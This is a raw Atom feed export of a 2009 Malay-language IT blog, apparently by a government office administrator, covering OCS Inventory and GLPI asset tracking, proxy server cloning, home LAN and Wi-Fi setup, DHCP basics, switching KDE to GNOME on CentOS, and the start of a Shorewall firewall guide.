src="http://3.bp.blogspot.com/_L_-zp96wtdQ/Sdntj2kQnMI/AAAAAAAAAAc/K7W295vEhn8/s320/1.JPG" alt="" id="BLOGGER_PHOTO_ID_5321545634913754306" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_L_-zp96wtdQ/SdntqMu8JLI/AAAAAAAAAAk/QnznIs7pyXQ/s1600-h/2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 250px;" src="http://4.bp.blogspot.com/_L_-zp96wtdQ/SdntqMu8JLI/AAAAAAAAAAk/QnznIs7pyXQ/s320/2.JPG" alt="" id="BLOGGER_PHOTO_ID_5321545743943345330" border="0" /&gt;&lt;/a&gt;Server address : ip / domain server OCS NG Inventory&lt;br /&gt;&lt;br /&gt;Setelah selesai, inventori PC Windows akan dapat dilihat dalam senarai di server.&lt;br /&gt;&lt;br /&gt;Ok, untuk instalasi OCS Inventory Server dah selesai, instalasi OCS Agent pada Client Linux dan Windows juga selesai.&lt;br /&gt;&lt;br /&gt;Namun semuanya tu bagi mendapatkan info inventori perlukan ada sambungan rangkaian diantara server dan client.&lt;br /&gt;&lt;br /&gt;Namun bagi PC yang standalone pula macamana?...OCS NG Inventory ada penyelesaiannya juga tapi akan aku terangkan dalam artikel seterusnya Part III.&lt;br /&gt;&lt;br /&gt;Selain tu, bagi company yang belum ada sistem maklumat asset di tempat masing-masing, maka OCS Inventory ni mampu diintegrasikan dengan software GLPI (Asset Management Software)&lt;br /&gt;&lt;br /&gt;Bagi tempat aku dah ada Sistem Pengurusan Aset (SPA) maka aku tak guna dah GLPI ni. Kalau belum ada pasti aku guna dah ni.&lt;br /&gt;&lt;br /&gt;Instal dulu GLPI pada server yang sama dengan OCS NG Inventory Server.&lt;br /&gt;Setelah GLPI dibuat instalasi, login dan browse skrin berikut :&lt;br /&gt;General -&gt; Restrictions&lt;br /&gt;&lt;br /&gt;Anda perlu aktifkan OCSNG sebelum boleh digunakan fungsi integrasi tersebut. Ubah konfigurasi tersebut dan simpan.&lt;br /&gt;&lt;br /&gt;Selepas itu, pergi ke menu berikut :&lt;br /&gt;Setup -&gt; OCSNG&lt;br /&gt;&lt;br /&gt;Dari GLPI kita boleh import data dari OCS Inventory Server.&lt;br /&gt;Kemudian pergi ke menu :&lt;br /&gt;Tools -&gt; OCSNG&lt;br /&gt;&lt;br /&gt;Sekiranya dah gunakan GLPI ni sekian lama maka lagi cantik la ada tambahan dari OCS Inventory yang akan dapatkan datan inventori secara berkala dari PC client.&lt;br /&gt;&lt;br /&gt;---------------------------------------------------&lt;br /&gt;Wah...seronoknya dengan Open Source...&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2414001911356429565?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2414001911356429565/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2414001911356429565&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2414001911356429565'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2414001911356429565'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/10/asset-inventory-using-open-source-part.html' title='Asset Inventory Using Open Source PART II'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_L_-zp96wtdQ/Sdntj2kQnMI/AAAAAAAAAAc/K7W295vEhn8/s72-c/1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-4287437895434982906</id><published>2009-07-25T07:51:00.004+08:00</published><updated>2009-07-25T08:10:51.833+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><category scheme='http://www.blogger.com/atom/ns#' term='Asset Inventory'/><title type='text'>Asset Inventory Using Open Source PART I</title><content type='html'>Kali ni aku akan ceritakan tentang satu software dipanggil OCS Inventory NG. Ini adalah perisian terbaik open source Asset Inventory setakat ni yang aku search. Sebenarnya aku saje cari-cari kat internet kot-kot ada software yang boleh search asset inventory semua PC dalam network kat Pejabat aku. &lt;br /&gt;&lt;br /&gt;Aku tahu dan pernah guna software LANDesk. OK dari segi implementation dan strategi untuk collect information tapi mengslowkan PC yang amat sangat. Aku tahu juga di bawah Symantec pun ada software tentang perkara ni. Tapi semua ni perlu ada fulus nak guna dan perlu sentiasa renew lesen tiap tahun selain kalau nak tambah user lagi perlu beli lesen lagi...aiyakk...aku kena hindarkan dalam zaman-zaman sekarang ni. Perlu ada penjimatan..&lt;br /&gt;&lt;br /&gt;So aku nampak solution terbaik ialah menggunakan OCSInventory NG. Software ni berfungsi untuk :&lt;br /&gt;- Collect Inventori PC&lt;br /&gt;- Deploy Software installation through server kepada PC&lt;br /&gt;- Support Multiple OS (Microsoft Windows, Linux, *BSD, Sun Solaris, IBM AIX, HP-UX, MacOS X)&lt;br /&gt;- Gunakan Web Admin Console&lt;br /&gt;- Perlukan PHP, MySQL, Apache dan Perl untuk server setup&lt;br /&gt;&lt;br /&gt;Ok seterusnya cara-cara nak install tu aku akan terangkan dalam artikel aku nanti. Aku dah berjaya setup server on Red Hat EL 5 dan collect inventory on Linux dan Windows XP SP3. So layarilah web ni dulu untuk fahami software ni : &lt;a href="http://www.ocsinventory-ng.org/"&gt;http://www.ocsinventory-ng.org/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-4287437895434982906?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/4287437895434982906/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=4287437895434982906&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4287437895434982906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/4287437895434982906'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/07/asset-inventory-using-open-source-part.html' title='Asset Inventory Using Open Source PART I'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-1547950097024440448</id><published>2009-07-04T00:16:00.006+08:00</published><updated>2009-07-04T00:35:43.178+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='DansGuardian'/><category scheme='http://www.blogger.com/atom/ns#' term='Proxy'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='Squid'/><category scheme='http://www.blogger.com/atom/ns#' term='MySurfGuard'/><title type='text'>Create New MySurfGuard in 15 minutes</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Pk16G7RhVRE/Sk4yu_asLpI/AAAAAAAAAdE/-DhF2L1ymC8/s1600-h/satisfaction.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 183px; height: 183px;" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/Sk4yu_asLpI/AAAAAAAAAdE/-DhF2L1ymC8/s400/satisfaction.gif" alt="" id="BLOGGER_PHOTO_ID_5354272789868850834" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Pk16G7RhVRE/Sk4yu_XwvXI/AAAAAAAAAdM/x6Trdosni0E/s1600-h/linux-logo.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 128px; height: 128px;" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/Sk4yu_XwvXI/AAAAAAAAAdM/x6Trdosni0E/s400/linux-logo.png" alt="" id="BLOGGER_PHOTO_ID_5354272789856566642" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Bebaru ni aku ada setup server mysurfguard (squid+dansguardian) baru gunakan version baru dari OSCC dan dimasukkan sekali dalam tu :&lt;br /&gt;&lt;br /&gt;1) VSFTP untuk ftp server simpanan installer teknikal di daerah&lt;br /&gt;2) Shorewall untuk kawal hanya subnet di daerah berkenaan sahaja boleh guna server tu sebagai proxy server dan juga untuk filter port yang melalui server tersebut&lt;br /&gt;3) NTOP untuk monitor bandwidth utilization.&lt;br /&gt;&lt;br /&gt;So aku dah sesiap install dan configure cun punye satu server ni. Spesifikasi dan harddisk sama dengan yang digunakan disemua daerah. So aku clonekan menggunakan clonezilla. Lebih kurang caranya seperti artikel aku berikut : &lt;span class="title"&gt;&lt;a href="http://muzzotechspot.blogspot.com/2008/11/clonezilla.html"&gt;Clonezilla&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;So dah siap create image 80GB tu ke dalam image file dalam 1Gb lebih rasanya. Aku simpan dalam thumb drive aku. So mulai sekarang aku boleh setup mysurfguard baru pada server di daerah (PC Pentium 4) kepada versi baru dengan 15 minit sahaja...ehehehe...&lt;br /&gt;&lt;br /&gt;Aku try tadi ada la dalam jangkamasa tu sebab nak restore image untuk clone ke server daerah tu ambil masa 8 minit, so 7 minit lagi untuk aku setup ip filter dalam shorewall dan juga semakan servis berfungsi serta pastikan senarai exceptionsitelist dan bansitelist dikemaskini yang terkini. Selain tu juga aku upgrade RAM server tu jadi 1.5GB...ehehehe..kasik besau sikit sebab banyak fungsinya tu.&lt;br /&gt;&lt;br /&gt;Jadi setakat ni aku buat secara berperingkat dan setakat ni 5 server mysurfguard daerah telah di clone versi baru dan di upgrade RAM. Tinggal lagi 6 server going to upgrade soon. Expected by middle of this month semuanya akan siap di upgrade..&lt;br /&gt;&lt;br /&gt;Kena pastikan SKT aku tahun ni tercapai ni.&lt;br /&gt;&lt;blockquote&gt;Seronok bila kita mampu memudahkan kerja sendiri dengan kaedah yang kita cipta sendiri...fikirkan tahap kepuasannya amatlah tinggi...&lt;br /&gt;&lt;/blockquote&gt;So, aku dah explain pada staff teknikal pejabat aku agar guna cara ni tapi tulah..kepala masing-masing masih belum rasa kepuasan tersebut sendiri dan masih mengamalkan budaya menunggu 'someone' untuk melakukannya untuk mereka tanpa mahu usaha sendiri...jadi akibatnya kerja mereka juga akan di outsource nanti...berhatilah...masa tu makin dekat...&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-1547950097024440448?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/1547950097024440448/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=1547950097024440448&amp;isPopup=true' title='2 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/1547950097024440448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/1547950097024440448'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/07/create-new-mysurfguard-in-15-minutes.html' title='Create New MySurfGuard in 15 minutes'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/Sk4yu_asLpI/AAAAAAAAAdE/-DhF2L1ymC8/s72-c/satisfaction.gif' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-6622343397201592682</id><published>2009-06-27T15:00:00.005+08:00</published><updated>2009-06-27T19:11:55.433+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Network'/><category scheme='http://www.blogger.com/atom/ns#' term='Internet'/><category scheme='http://www.blogger.com/atom/ns#' term='WiFi'/><title type='text'>Step to Setup Small LAN at Home</title><content type='html'>&lt;blockquote&gt;Pada masa kini keperluan komputer telah menjadi keperluan kepada isi rumah kita&lt;br /&gt;dan sumber pengetahuan terbesar adalah menerusi internet. Namun pengetahuan yangdiperolehi perlulah dikawal dan ditapis agar ianya tidak akan menjadi anai-anai&lt;br /&gt;kepada pemikiran anak-anak muda sekarang&lt;/blockquote&gt;Target kita sekarang untuk mewujudkan LAN di rumah denag capaian ke internet dengan membolehkan digunakan oleh Personal Komputer secara capaian kabel dan juga Notebook secara capaian wireless.&lt;br /&gt;&lt;br /&gt;Cara untuk setup Small LAN di rumah ni memerlukan beberapa peralatan berikut :&lt;br /&gt;&lt;br /&gt;1) Talian telefon berdaftar Streamyx&lt;br /&gt;2) Modem router - dial kepada talian streamyx dan menghantar data dari LAN ke internet&lt;br /&gt;3) Switch - Bagi tujuan sambungan komputer atau peralatan rangkaian yang banyak&lt;br /&gt;4) Access Point - Alat untuk membolehkan sambungan secara wireless oleh Notebook&lt;br /&gt;5) 3 Unit Kabel UTP RJ45 - untuk sambungan modem ke switch, switch ke PC dan switch ke Access Point&lt;br /&gt;6) 1 unit kabel RJ11 -Kabel telefon untuk sambungan ke modem&lt;br /&gt;&lt;br /&gt;Kita setup peralatan tersebut seperti gambarajah di bawah :&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;img style="margin: 0px auto 10px; text-align: center; width: 383px; display: block; height: 400px;" id="BLOGGER_PHOTO_ID_5351903739282019154" alt="" src="http://1.bp.blogspot.com/_Pk16G7RhVRE/SkXIGGP9U1I/AAAAAAAAAbU/cu8Yfv3TmLA/s400/streamyxSIMPLE.jpg" border="0" /&gt;Kabel UTP tersebut perlulah dari jenis CAT 5e atau CAT 6. Bezanya Cat5e ni sesuai untuk IPV4 dan juga boleh digunakan untuk IPV6. Namun Cat6 ni mampu untuk menghantar data yang lebih besar seperti multimedia dan video conference. Kabel CAT5e ni lembut sikit tapi CAT6 lebih keras. CAT 5e boleh disambung sehingga 100m sahaja. Tapi CAT6 boleh dari tu lagi.&lt;/p&gt;&lt;p&gt;Untuk wujudkan DHCP tadi boleh follow artikel saya sebelum ni tentang &lt;a href="http://muzzotechspot.blogspot.com/2009/04/dhcp-concept-in-network.html"&gt;DHCP Concept in Network&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Pada modem tetapkan ip modem dan gateway kepada 192.168.1.1. Setupkan DHCP enable di modem tersebut.&lt;/p&gt;&lt;p&gt;PC akan mendapat ip dalam range 192.168.1.2 - 192.168.1.99. Subnet Mask 255.255.255.0 dan gateway 192.168.1.1 serta DNS streamyx 202.188.0.133 dan 202.188.1.5 secara automatik.&lt;/p&gt;&lt;p&gt;Bagi sambungan rangkaian Wireless ni kita memerlukan untuk membuat konfigurasi pada Access Point (AP) tersebut. Tetapkan IP pada AP tersebut kepada 192.168.1.100.&lt;/p&gt;&lt;p&gt;Enablekan juga DHCP pada wireless kepada range 192.168.1.101 - 192.168.1.130&lt;/p&gt;&lt;p&gt;Notebook akan mendapat ip range ditetapkan tadi bersama Subnet Mask 255.255.255.0 dan gateway 192.168.1.1 serta DNS streamyx 202.188.0.133 dan 202.188.1.5 secara automatik.&lt;/p&gt;&lt;p&gt;Selain tu kita kena configure AP tersebut agar lebih secure agar jiran atau orang lain di luar tidak dapat menggunakan internet kita dengan percumanya..ehehhe...&lt;/p&gt;&lt;p&gt;Tetapkan key WEP, WPA atau WPA2 pada AP tersebut. key ni biasanya amat panjang dan susah untuk diingat. Disamping tu masukkan MAC Address Wireless Card notebook tu juga ke dalam senarai MAC Filtering. So kat sini kita ada 2 mangga kawalan untuk orang masuk ke network internet kita menerusi wireless.&lt;/p&gt;&lt;p&gt;Cara untuk dapatkan MAC Address tersebut adalah dengan menaip pada command :&lt;/p&gt;&lt;p&gt;&gt; ipconfig /all&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[Windows XP]&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Atau boleh double klik ikon wireless dan lihat detail. Ambil no pada physical address. Jangan risau setiap notebook ada physical address berbeza. Kecuali hackers ni guna spoof MAC Address tu lain citer.&lt;/p&gt;&lt;p&gt;So selesai setup AP tu jangan lupa save.&lt;/p&gt;&lt;p&gt;Kita tak boleh ambil mudah yagn setting tu dah cukup kuat sebab bagi hackers yang expert ianya semua boleh dipecahkan...ehheee..so guna wireless network ni memang kena berhati-hati.&lt;/p&gt;&lt;p&gt;Itu sahaja yang dapat aku citer untuk cara nak setup network mudah di rumah. Semoga anda semua berjaya.&lt;/p&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-6622343397201592682?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/6622343397201592682/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=6622343397201592682&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6622343397201592682'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/6622343397201592682'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/06/step-to-setup-small-lan-at-home.html' title='Step to Setup Small LAN at Home'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Pk16G7RhVRE/SkXIGGP9U1I/AAAAAAAAAbU/cu8Yfv3TmLA/s72-c/streamyxSIMPLE.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-7741880747297735009</id><published>2009-06-27T14:16:00.000+08:00</published><updated>2009-06-27T14:58:48.763+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Source'/><title type='text'>Change KDE to GNOME in CentOS</title><content type='html'>&lt;blockquote&gt;&lt;p&gt;KDE dan GNOME ni kira theme default untuk linux distro. Tapi akhir-akhir ni&lt;br /&gt;banyak orang komplen pasal theme KDE yang ada masalah dan selalu hang. Pada&lt;br /&gt;memula dulu memang orang guna GNOME sahaja tapi sebabkan nak kasik tune cantik sikit maka KDE timbul take over. Dan kini kebanyakan user lebih prefer GNOME sebab dah enhance features selain lebih laju.&lt;/p&gt;&lt;p&gt;Yumex juga dipanggil sebagai Yum-Extender&lt;br /&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;Kaedah ni aku dah cuba untuk server CentOS dan Fedora Core&lt;br /&gt;&lt;br /&gt;1. Download dan &lt;a href="http://linux.softpedia.com/get/Internet/HTTP-WWW-/Yum-Extender-3081.shtml"&gt;install &lt;/a&gt;Yumex untuk install pakej GNOME&lt;br /&gt;2. Delete KDE sahaja. Kekalkan pakej KDE lain yang tak berkenaan.&lt;br /&gt;3. reboot server dan anda akan dapat lihat perubahan tersebut di login dan pada desktop&lt;br /&gt;4. Ubah pilihan GNOME sebagai default login.&lt;br /&gt;5. Adjust login selection agar KDE sebagai default.&lt;br /&gt;&lt;br /&gt;Yumex tu juga boleh digunakan untuk memudahkan uninstall dan install pakej pada Linux.&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-7741880747297735009?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/7741880747297735009/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=7741880747297735009&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7741880747297735009'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7741880747297735009'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/04/change-kde-to-gnome-in-centos.html' title='Change KDE to GNOME in CentOS'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2976024050699010924</id><published>2009-06-27T10:28:00.000+08:00</published><updated>2009-06-27T14:43:16.252+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Streamyx'/><category scheme='http://www.blogger.com/atom/ns#' term='DHCP'/><title type='text'>DHCP Concept in Network</title><content type='html'>&lt;blockquote&gt;Kali ni aku nak terangkan tentang konsep DHCP yang kita sedar atau tak&lt;br /&gt;sedar telah dilaksanakan di dalam rangkaian yang sedang kita gunakan.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;strong&gt;DHCP pada WAN&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk talian Streamyx atau 3G, sebenarnya kita telahpun gunakan konsep DHCP ni. Cuma ianya berlaku di peringkat Wide Area Netowrk (WAN). Tanpa kita sedari sebenarnya pada modem kita tu apabila kita dial manual atau auto dial ianya akan diberikan IP DHCP dari DHCP server di Streamyx. Begitu juga untuk penggunaan 3G.&lt;br /&gt;&lt;br /&gt;Cuma aku perasan bila gunakan 3G Celcom ni aku akan dapat ip 10.xxx.xxx.xxx untuk ip WAN. Manakala IP Streamyx pula kita akan dapat ip bermacam tapi bukan bermula dengan 10.xxx.xxx.xxx tapi kekadang 58.xxx.xxx.xxx atau 208.xxx.xxx.xxx. Bergantung kepada range ip yang dibeli oleh Streamyx.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;DHCP pada LAN&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bagi melaksanakan DHCP pada LAN kita memerlukan DHCP server. Untuk network kecil seperti menggunakan streamyx kebiasannya pada modem tu ada fungsi sebagai DHCP server. Selain tu jika tak setting pada modem, kianya juga boleh di setting di router (alat selepas modem). Router ini selain berfungsi untuk menghantar packet kepada rangkaian yang diinginkan ianya juga boleh berfungsi sebagai DHCP server. Ok aku tanak citer panjang pasal router sebab nak citer tentang tu banyak lagi leh aku citerkan.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So untuk setup dedicated DHCP server di LAN ni bagi pelaksanaan 1 subnet (VLAN) sahaja kita memerlukan peralatan server dan perisian DHCP Server. Bagi pengguna DHCP Server Windows kebiasaannya ianya dah ada dalam tu terus. So bila beli lesen windows server 2000 atau 2003 tu akan ada sekali fungsi DHCP Server. Cuma ianya by default tidak di enablekan. Kita perlu setup dan enablekannya. Cara-cara tu aku tak terangkan disini.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Manakala bagi solution lain pula boleh gunakan teknologi open source Linux OS Server. Dalam CentOS, Fedora, FreeBSD dan selainnya distro linux semua ada fungsi tu dan yang bestnya ianya semua percuma. Kalau nak setup tu aku masa memula setup OS tu terus pilih untuk jadikan server tu sebagai DHCP Server. Memang dah ada dalam bahagian pilihan applicaion disediakan dalam tu.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Apabila DHCP Server dah diwujudkan maka kita perlu setting IP di PC dalam LAN tu agar menggunakan Obtain IP Automatically seperti gambar di bawah ;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Network Properties &gt; IP Protocol Properties&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;img style="TEXT-ALIGN: center; MARGIN: 0px auto 10px; WIDTH: 358px; DISPLAY: block; HEIGHT: 400px; CURSOR: hand" id="BLOGGER_PHOTO_ID_5351892911276545906" border="0" alt="" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/SkW-P0yR13I/AAAAAAAAAbM/eqjDdT2kZ0k/s400/NETWK.JPG" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Sekarang anda dah pun ada LAN menggunakan DHCP.&lt;/p&gt;&lt;p&gt;Bagi pelaksanaan DHCP server multiple VLAN ni boleh dibuat cuma agak rumit sikit sebab melibatkan konfigurasi di switch layer 3 dan seterusnya di DHCP Server tu sendiri agar boleh route VLAN berkaitan ke destinasi sepatutnya. Jadi bab ni aku tak penah buat lagi. Mungkian akan difikirkan pada masa akan datang dan aku akan sharekan jangan risau.&lt;/p&gt;&lt;p&gt;~ Be a Creator Not a User ~&lt;br /&gt;http://muzzotechspot.blogspot.com&lt;br /&gt;http://muzzoshah.blogspot.com&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2976024050699010924?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2976024050699010924/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2976024050699010924&amp;isPopup=true' title='2 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2976024050699010924'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2976024050699010924'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2009/04/dhcp-concept-in-network.html' title='DHCP Concept in Network'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_Pk16G7RhVRE/SkW-P0yR13I/AAAAAAAAAbM/eqjDdT2kZ0k/s72-c/NETWK.JPG' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-8614654379022965127</id><published>2009-06-26T10:40:00.007+08:00</published><updated>2009-06-27T11:29:36.971+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CentOS'/><category scheme='http://www.blogger.com/atom/ns#' term='Firewall'/><category scheme='http://www.blogger.com/atom/ns#' term='Command Line'/><category scheme='http://www.blogger.com/atom/ns#' term='MySurfGuard'/><title type='text'>8 Steps to Setup Shorewall in CentOS 5.2</title><content type='html'>&lt;span&gt;&lt;span&gt;&lt;blockquote&gt;Shoreline Firewall atau Shorewall adalah 